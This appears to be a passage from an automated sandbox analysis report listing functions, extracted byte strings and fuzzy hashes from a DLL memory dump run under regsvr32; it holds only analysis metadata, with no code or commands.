Opcode ID: 676dc21c0f372b2db907baa94ef17c562d056d3d3dc12d9c581eeda360082d12
Instruction ID: b36c8970f11ad41429e233920f6dac2517fe43d92b96f19f813f385ea8bb4fb2
Opcode Fuzzy Hash: 676dc21c0f372b2db907baa94ef17c562d056d3d3dc12d9c581eeda360082d12
Instruction Fuzzy Hash: B771E470448788CBEBB5DF24C8856DEBBE4FB88744F60451DE9598B260DB749688CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001ACB4 Relevance: 3.9, Strings: 3, Instructions: 124COMMON

Download Yara Rule

Strings

c, xrefs: 000000018001ACDC
f41, xrefs: 000000018001ACEA
,mQ, xrefs: 000000018001AE53

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ,mQ$f41$c
API String ID: 0-1594525360
Opcode ID: 7f89cf11389eafb96d04b6400e87a1f2a1e5a7f99f0c72ab3958d5ee7197d732
Instruction ID: ca916729033610084f534c396dc33c1afc583cc00ddec4c12c7a73cc6334aceb
Opcode Fuzzy Hash: 7f89cf11389eafb96d04b6400e87a1f2a1e5a7f99f0c72ab3958d5ee7197d732
Instruction Fuzzy Hash: AD51C071D0424C8BCB48DFA9E98A9DDBBF0FB48348F11820DE85AB7261C7749905CF69

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001370C Relevance: 3.8, Strings: 3, Instructions: 99COMMON

Download Yara Rule

Strings

$q~, xrefs: 0000000180013787
R3, xrefs: 0000000180013876
%s, xrefs: 0000000180013864

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $q~$%s$R3
API String ID: 0-2520873970
Opcode ID: 3d3ced99ac42584346b8bad3007d62ef26daa4ae2805a0976e45a495c47b2b96
Instruction ID: 49708784934b6f27b099c9a4c0d62a5c340693359db0e98dd39e1096da177659
Opcode Fuzzy Hash: 3d3ced99ac42584346b8bad3007d62ef26daa4ae2805a0976e45a495c47b2b96
Instruction Fuzzy Hash: 2D414870508784DBD398CF18C0DA65EBBF1FB853A4FA0691DF583862A4DB75D9898B03

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800061A0 Relevance: 3.8, Strings: 3, Instructions: 89COMMON

Download Yara Rule

Strings

[/, xrefs: 000000018000623E
s, xrefs: 0000000180006277
|', xrefs: 00000001800061CE

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: [/$s$|'
API String ID: 0-508247755
Opcode ID: 7345308087df3ea52099129a82f0c3ea94bf5dab89828cea5ac59a44806af735
Instruction ID: 494a7eb40676bfcc00c7fdba1f25141f52c7cc4812b1f7e8e8b884a852a0e06c
Opcode Fuzzy Hash: 7345308087df3ea52099129a82f0c3ea94bf5dab89828cea5ac59a44806af735
Instruction Fuzzy Hash: 1841D4B090038E8FCB48DFA9D88A5DEBBB1FB48348F10461DEC25A6250D7B49554CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012378 Relevance: 3.8, Strings: 3, Instructions: 85COMMON

Download Yara Rule

Strings

`cb{, xrefs: 000000018001248C
fq, xrefs: 0000000180012423
_#>, xrefs: 000000018001241C

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: _#>$`cb{$fq
API String ID: 0-41881557
Opcode ID: 6dffa8c73f5f57da7de5f12e066b229d1e4dd53f1b7788c47ce25402a50e5fa7
Instruction ID: 8d8b26aa43ab9a83d147a377112b64bfb8255cca975d25c3e902dea97d059722
Opcode Fuzzy Hash: 6dffa8c73f5f57da7de5f12e066b229d1e4dd53f1b7788c47ce25402a50e5fa7
Instruction Fuzzy Hash: 2941C0B180078E8FCF48CF64C88A5DE7FB0FB58358F104619E86AA6250D3B89665CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012680 Relevance: 3.8, Strings: 3, Instructions: 73COMMON

Download Yara Rule

Strings

{To, xrefs: 000000018001273E
[U, xrefs: 00000001800126F5
=Z8, xrefs: 00000001800126B2

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: =Z8$[U${To
API String ID: 0-582923006
Opcode ID: 510822f7632221338f4787e6ba9fbd6d482cd1ebd2bab9e95bda9979d09408e7
Instruction ID: dd1ba70993956fe5376c9027ab0fa5dab7ea2e8642491db667c41f00a9894f6d
Opcode Fuzzy Hash: 510822f7632221338f4787e6ba9fbd6d482cd1ebd2bab9e95bda9979d09408e7
Instruction Fuzzy Hash: DA31AFB090074ECBCB88DF64C88A4DF7FB4FB68398F104219E855A6250D3B896A5CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006414 Relevance: 2.8, Strings: 2, Instructions: 314COMMON

Download Yara Rule

Strings

u., xrefs: 000000018000655E
L, xrefs: 000000018000677D

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: L$u.
API String ID: 0-1908859981
Opcode ID: 963c97d349dba17e05ff2ad4f8c091e323bd32606f741df39a0923b695cd3283
Instruction ID: fe013bb6a98280fd3664de29af0d6deafe853b8c6d857857911529a75c261ac8
Opcode Fuzzy Hash: 963c97d349dba17e05ff2ad4f8c091e323bd32606f741df39a0923b695cd3283
Instruction Fuzzy Hash: FDE1167152478DABDF98CF28C8C6ADD3BA1FB48394F906229FD0287260D775D985CB81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000968C Relevance: 2.8, Strings: 2, Instructions: 290COMMON

Download Yara Rule

Strings

v^, xrefs: 00000001800096A3
|8W, xrefs: 000000018000999A

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: v^$|8W
API String ID: 0-4274756280
Opcode ID: e8f720407405c8f842976055ebfe5a961945bc41caeca3a3e9e3a1284d36038d
Instruction ID: eb46043f5dfd862e599a3e1f0545fc92660674d3eece30cf186a2abccef00301
Opcode Fuzzy Hash: e8f720407405c8f842976055ebfe5a961945bc41caeca3a3e9e3a1284d36038d
Instruction Fuzzy Hash: 23D11171A0630CCBDB68DF68C58AA9D7BE1FF59348F104129FC1A9B261C770E919CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001E88 Relevance: 2.8, Strings: 2, Instructions: 261COMMON

Download Yara Rule

Strings

`:, xrefs: 000000018000222C
u5\, xrefs: 0000000180001FE0

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: `:$u5\
API String ID: 0-1141760586
Opcode ID: de639cec483ce4a43014a1f68f5d3fafad908dcfa8fcc167b954aac45c8ab292
Instruction ID: 309421123f437f89acc2771e6a55141bc20ba277e2d56715f434ec53ca724750
Opcode Fuzzy Hash: de639cec483ce4a43014a1f68f5d3fafad908dcfa8fcc167b954aac45c8ab292
Instruction Fuzzy Hash: 69C1207150574DCBDB99CF28C58A6D93BE5FF98348F104129FC0E862A1CBB4EA18CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022AAC Relevance: 2.8, Strings: 2, Instructions: 250COMMON

Download Yara Rule

Strings

0Au, xrefs: 0000000180022F34
]6, xrefs: 0000000180022FF9

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 0Au$]6
API String ID: 0-775207805
Opcode ID: 41d6d67fb4784ff97a0c8e7ec9a302166e0b0c9de4538925550087b6d031b924
Instruction ID: 6edab2825e6f92fa7d6d5649e6783b0aef41eda7633721283519dacdcc01bd9d
Opcode Fuzzy Hash: 41d6d67fb4784ff97a0c8e7ec9a302166e0b0c9de4538925550087b6d031b924
Instruction Fuzzy Hash: 2DE1D7706047889FCBBEDF24CC897DA7BA8FB46704F904619E9C98E250DB745748CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026B98 Relevance: 2.7, Strings: 2, Instructions: 225COMMON

Download Yara Rule

Strings

S9, xrefs: 0000000180026D05
qrd, xrefs: 0000000180026C88

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: S9$qrd
API String ID: 0-2332744662
Opcode ID: dccb7ee8ec7dfb8e0809544b932b2caf2d93c57dd19aa3a9b169f23ded853006
Instruction ID: d3a666ff84b181fad27f9c2352a1e83f1b6bb5c561d3220c9e7978bd2dadc88f
Opcode Fuzzy Hash: dccb7ee8ec7dfb8e0809544b932b2caf2d93c57dd19aa3a9b169f23ded853006
Instruction Fuzzy Hash: 6EB1357590660CCFCB69DFA4C08A6DDBBF1EF68344F104519E812AB262CBB0D919CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023C14 Relevance: 2.7, Strings: 2, Instructions: 204COMMON

Download Yara Rule

Strings

4&t, xrefs: 0000000180023F04
hw}2, xrefs: 0000000180023DCB

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: hw}2$4&t
API String ID: 0-1169878757
Opcode ID: 858c4deae444743a57c26792a91effe053d1d8b489a12bfa541918911fc2fcd6
Instruction ID: fd20564dcf1a671b287a6600624e9fb92dead2187b8d5629211a6de17e7e6b55
Opcode Fuzzy Hash: 858c4deae444743a57c26792a91effe053d1d8b489a12bfa541918911fc2fcd6
Instruction Fuzzy Hash: AEB168B590420CCFDB68CF78C45A5DD7BF1FB08308F60612AE826AA262D774D919CF54

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001EBA0 Relevance: 2.7, Strings: 2, Instructions: 192COMMON

Download Yara Rule

Strings

a[, xrefs: 000000018001EECA
JMWd, xrefs: 000000018001EF78

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: JMWd$a[
API String ID: 0-3276560754
Opcode ID: 94f2740beabb4555a63fe109c076897c128458c56f4cbcfe5625600f94c775f6
Instruction ID: 3b54873520b9a846c0abc3e4022efff23af49e59c185cad729b6d512d224c3a2
Opcode Fuzzy Hash: 94f2740beabb4555a63fe109c076897c128458c56f4cbcfe5625600f94c775f6
Instruction Fuzzy Hash: D5A106706047889FDBBACF18CC857DE3BA8FB46748F504229E8CA8E254CB745749CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015494 Relevance: 2.7, Strings: 2, Instructions: 172COMMON

Download Yara Rule

Strings

%[, xrefs: 00000001800156E0
-, xrefs: 000000018001574A

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %[$-
API String ID: 0-2535708364
Opcode ID: 65f60e6b5a076c6be367ab0f8efb072c07a091d19f07b8aff3e0ecb4ccd985c8
Instruction ID: a7604732bdc10a899b7b050bfde45695c0722dd065d5eed74db0117fa162c574
Opcode Fuzzy Hash: 65f60e6b5a076c6be367ab0f8efb072c07a091d19f07b8aff3e0ecb4ccd985c8
Instruction Fuzzy Hash: 1F81627050074ECBDB99DF14C88A7DE3BA0FB28389F114219FC85962A0D778C699CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000DB4C Relevance: 2.7, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

i:O:, xrefs: 000000018000DE23
/Mr, xrefs: 000000018000DD1E

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: /Mr$i:O:
API String ID: 0-3426536595
Opcode ID: 8fba9de9c6c3b1e5047e1d7641fef574ac2ea6f46defdcfa8fbb4029ea408963
Instruction ID: 3eba081f804be6fa3a9d4fb4db8c82f5607d3411af965209965460f3089a80c7
Opcode Fuzzy Hash: 8fba9de9c6c3b1e5047e1d7641fef574ac2ea6f46defdcfa8fbb4029ea408963
Instruction Fuzzy Hash: 7C91087050438C8FDBBADF24C8AA7DE7BA1FB5A304F50461EEA4E8E250DB749644CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017E2C Relevance: 2.7, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

;|-, xrefs: 0000000180017FAB
6|4, xrefs: 0000000180017EA9

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 6|4$;|-
API String ID: 0-2897245347
Opcode ID: 35605434c5429477d06d2e5b9b1bfa34856c77736f87f3e727847c01dfef7208
Instruction ID: 839a7c11e172a9a14e1c367a044feafa9aab422ef7ede3a919e78660e0b6ca0a
Opcode Fuzzy Hash: 35605434c5429477d06d2e5b9b1bfa34856c77736f87f3e727847c01dfef7208
Instruction Fuzzy Hash: C0714B7090474D8FCF88DFA4C8866EEBBF0FB48308F114619E88AA7251D7789645CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024570 Relevance: 2.7, Strings: 2, Instructions: 160COMMON

Download Yara Rule

Strings

US-PC, xrefs: 0000000180024606, 000000018002488A
dQ, xrefs: 00000001800246B3

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: US-PC$dQ
API String ID: 0-3236294519
Opcode ID: 97a4412cc2303f28c05fec1f0b2e1d428cb8767c43294622f9f6b74118afce77
Instruction ID: 9d729ecabb7b74207a0fd84f221a36cedb2a9a3a0e5d95724699f54aa2ea8075
Opcode Fuzzy Hash: 97a4412cc2303f28c05fec1f0b2e1d428cb8767c43294622f9f6b74118afce77
Instruction Fuzzy Hash: 3E71E7711187988BDBFDCF28CC857D97BA6FB44744F20811CE84E8E261DB749A89CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F328 Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

U, xrefs: 000000018000F44E
U#, xrefs: 000000018000F446

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: U$U#
API String ID: 0-861755185
Opcode ID: 2086c1731bcfc2cec1958e1d1a3f8cb927817e2dd584414818c7a6dfab91bab1
Instruction ID: 3d07f47d2f6b9c27b0e4fe7d5859b29f381f1ada24735b7dc646a2f801c86eef
Opcode Fuzzy Hash: 2086c1731bcfc2cec1958e1d1a3f8cb927817e2dd584414818c7a6dfab91bab1
Instruction Fuzzy Hash: 0C515C7150C7449FC7A8DF18D4C67AAB7E0FB88310F90991DF8CAC7251EB70A9598B82

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007EB4 Relevance: 2.7, Strings: 2, Instructions: 152COMMON

Download Yara Rule

Strings

Pr, xrefs: 0000000180007FC1
fK, xrefs: 0000000180007F95

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: fK$Pr
API String ID: 0-2696692655
Opcode ID: 9489b844c734f0d344b598ec7bcb8736a735df1c6bae6eaa62d1b735c6b442f4
Instruction ID: dfe3628fe45c31a405763d5fff7ed8f4d77ec04c4bb6b45016b3f1679df2575b
Opcode Fuzzy Hash: 9489b844c734f0d344b598ec7bcb8736a735df1c6bae6eaa62d1b735c6b442f4
Instruction Fuzzy Hash: 907116B090474E8FDB88CF28C88A6DE7BF0FB18358F515219FC4AA6260D774D598CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000DEF4 Relevance: 2.6, Strings: 2, Instructions: 150COMMON

Download Yara Rule

Strings

n\, xrefs: 000000018000E000
z+&, xrefs: 000000018000E024

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: n\$z+&
API String ID: 0-1414119057
Opcode ID: f24be46eeb560fbb290949dbfd7d05873455e782ddfe7ec7ed40b48d6508653b
Instruction ID: eeb2c5940d29436bcd670e7d8a2b521530b450e3042878bcb8e4954d48490cde
Opcode Fuzzy Hash: f24be46eeb560fbb290949dbfd7d05873455e782ddfe7ec7ed40b48d6508653b
Instruction Fuzzy Hash: 22612070A04B0C8BCBA9DF98D48AADDB7F1FB58344F00411DE846A7390DBB8950ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800015C0 Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

50, xrefs: 00000001800016DE
., xrefs: 00000001800017B7

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .$50
API String ID: 0-2436285167
Opcode ID: 84d2de074a5e6e1a5d921b58512406c284d81fdc35452f42d6b6a069db9f8ad4
Instruction ID: 63debb9af518b5fca5d59737c01840b12b974a655eea7ff458552c4fa6b671e5
Opcode Fuzzy Hash: 84d2de074a5e6e1a5d921b58512406c284d81fdc35452f42d6b6a069db9f8ad4
Instruction Fuzzy Hash: 3671DF705087848FD769CF28C58965ABBF0FBC6344F008A1DF68686260CBB6D949CF03

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002ADC Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

uC, xrefs: 0000000180002C87
,{, xrefs: 0000000180002C7D

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ,{$uC
API String ID: 0-1099860252
Opcode ID: 2af00e218d12abdb99ef7e76f2ba815a0f7da0c0d962cc97f106519d062cd6fe
Instruction ID: df29777c25f03bc51b29c5e68a382a2b48421fa47568a9dd7f4acde699563025
Opcode Fuzzy Hash: 2af00e218d12abdb99ef7e76f2ba815a0f7da0c0d962cc97f106519d062cd6fe
Instruction Fuzzy Hash: 28612D71A04B0C8FDBA9DF98D08A7DEB7F1FB48344F004119E406E7291DBB8990ADB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004E3C Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

"C, xrefs: 0000000180005084
*6TO, xrefs: 0000000180004F9B

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "C$*6TO
API String ID: 0-2251823003
Opcode ID: 11a52743e991166c772ae58171141d3b918ce8d4020b5bd660e65aa41626bcf5
Instruction ID: 1108d3b1afe4df31317b10417d35e55e698c36e02fd161062712c06e930ceb12
Opcode Fuzzy Hash: 11a52743e991166c772ae58171141d3b918ce8d4020b5bd660e65aa41626bcf5
Instruction Fuzzy Hash: 598166B550130DCFCB98DF28C58A59D3BA8FB49308F40812AFC1E9A264D3B4E659DB46

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800059AC Relevance: 2.6, Strings: 2, Instructions: 108COMMON

Download Yara Rule

Strings

fc.dll, xrefs: 00000001800059E1, 0000000180005A0F
NRx, xrefs: 0000000180005B20

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: NRx$fc.dll
API String ID: 0-4183487180
Opcode ID: b4a4ba5d31bb0dbda5b37bf156645da5abce175ef766aa9e7dc128ab78272a52
Instruction ID: 7c3eed2061eb3ea8b6bf0d1c70d9a16e0a2e2a77544f255897bb26607a47427d
Opcode Fuzzy Hash: b4a4ba5d31bb0dbda5b37bf156645da5abce175ef766aa9e7dc128ab78272a52
Instruction Fuzzy Hash: 46416C706197489BD3E5DF28C08679FBAE0FB88745F90A92DF585C32A1CB74C9488B43

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B834 Relevance: 2.6, Strings: 2, Instructions: 102COMMON

Download Yara Rule

Strings

LiD+, xrefs: 000000018000B96C
?, xrefs: 000000018000B945

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: LiD+$?
API String ID: 0-3739020763
Opcode ID: bc963e11fa834f262c09c021a462739b615030ee8f9d2598156052fa386473db
Instruction ID: 2f7d624153028320349e4a0adb7356b45dc1f3746b227896fac10cb383cb0630
Opcode Fuzzy Hash: bc963e11fa834f262c09c021a462739b615030ee8f9d2598156052fa386473db
Instruction Fuzzy Hash: F35191B590034E8FCB48DF64D48A8DE7FB0FB68398F214619E815A7210D7B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800085BC Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

\o, xrefs: 0000000180008613
%&Iv, xrefs: 00000001800086E6

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %&Iv$\o
API String ID: 0-2950252169
Opcode ID: e3b847a27b1fdf8219116b43965b4243214bd6bbc489cbb0191219741f6e6deb
Instruction ID: 7d8516b09fccf329ce1ee45da69bc8f76dfc96f1b67d05b04ebb17f55f6537e3
Opcode Fuzzy Hash: e3b847a27b1fdf8219116b43965b4243214bd6bbc489cbb0191219741f6e6deb
Instruction Fuzzy Hash: 7041C2B090074E8FCB48DF28C88A4DE7FB1FB68398F514619EC56A7250D7B496A4CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180009408 Relevance: 2.6, Strings: 2, Instructions: 95COMMON

Download Yara Rule

Strings

P;, xrefs: 00000001800094F1
|<, xrefs: 0000000180009540

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: |<$P;
API String ID: 0-71676942
Opcode ID: d8b30cb9b0bbde5f967eaf6e88493efae150f481542faaeeec2b89fd53c9bf9b
Instruction ID: b926ab4478da67f81816527f76e4a4189747c2b1a61b322854fb240660ec53f5
Opcode Fuzzy Hash: d8b30cb9b0bbde5f967eaf6e88493efae150f481542faaeeec2b89fd53c9bf9b
Instruction Fuzzy Hash: 0F41F4B190078ECFCF48DF68C88A5DE7BB0FB58318F10461DE82AA6250D3B49665CF84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A524 Relevance: 2.6, Strings: 2, Instructions: 94COMMON

Download Yara Rule

Strings

#X, xrefs: 000000018001A554
< @, xrefs: 000000018001A5D7

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$< @
API String ID: 0-1734357072
Opcode ID: efe0763d8a7a245e8cb996b606fb90cb3ba626e454cc1a7dd4141ea463f73824
Instruction ID: 53d5526a666e2e4b0aa3df313d94281727ef5dde582db7952040e92a2ea044da
Opcode Fuzzy Hash: efe0763d8a7a245e8cb996b606fb90cb3ba626e454cc1a7dd4141ea463f73824
Instruction Fuzzy Hash: E241C3B090078E8FCF48DF68C95A5DE7BB0FB58348F104A1DEC6AA6250D3B49665CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800234D8 Relevance: 2.6, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

.B, xrefs: 00000001800235C0
X&x, xrefs: 00000001800235CE

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .B$X&x
API String ID: 0-2125001607
Opcode ID: b56e4be042cf3e20bfd4171d949980e8bdde88a4c8b77932d249eea416ff403a
Instruction ID: 406be0e8b3d674fc45ad7aec45ce8f3a41fae9dcbe4fb503a73b8d88e4a7390b
Opcode Fuzzy Hash: b56e4be042cf3e20bfd4171d949980e8bdde88a4c8b77932d249eea416ff403a
Instruction Fuzzy Hash: F541C3B190034E8BDF48DF68C98A4DE7BB1FB58358F00461DE866AB350D3B89665CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014F50 Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

S1, xrefs: 000000018001504E
D-o, xrefs: 0000000180015024

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: D-o$S1
API String ID: 0-2248371139
Opcode ID: b2af9136cfd81d84eb1aedf16953768fff15e9d6dc77d4de408be5ef0b131a39
Instruction ID: c824313cc5550ea8d08e24e936909b38c1116e4b52b8e35a6cfdfb4e8fb0d5b5
Opcode Fuzzy Hash: b2af9136cfd81d84eb1aedf16953768fff15e9d6dc77d4de408be5ef0b131a39
Instruction Fuzzy Hash: 7F418F7090074E8FCF88CF68C48A5DEBFB0FB28398F144619E856A6250D3B496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021588 Relevance: 2.6, Strings: 2, Instructions: 72COMMON

Download Yara Rule

Strings

kNTY, xrefs: 000000018002166D
")v, xrefs: 0000000180021679

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ")v$kNTY
API String ID: 0-925696221
Opcode ID: 2d468f080be7dc4ac37fbc5ab55ab08a385f91380d02a95960c4866fb202e0cd
Instruction ID: 3d1cde25fc61112586e0ccbc864a2b9889115514f3b9559dcc74a8c2fbc402f5
